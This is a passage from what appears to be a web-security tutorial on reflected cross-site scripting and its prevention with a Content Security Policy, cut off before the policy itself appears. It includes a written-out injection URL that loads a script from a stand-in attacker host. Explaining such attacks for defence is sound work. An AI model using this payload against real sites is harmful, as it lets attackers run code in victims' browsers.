hit the URL: <code>/app?name=Pete</code>, the response is <code>Hello Pete</code>. This clearly is an open window for a reflected cross site scripting attack. The attacker can simply inject a script tag:</p>
<pre>/app?name=&lt;script src="https://bad-guy.example.com/bad-stuff.js"&gt;&lt;/script&gt;</pre>
<p>When someone requests that URL the <code>bad-stuff.js</code> will execute.</p>
<p>We can prevent our app from loading JS from <code>bad-guy.example.com</code> using CSP. If we have the following policy:<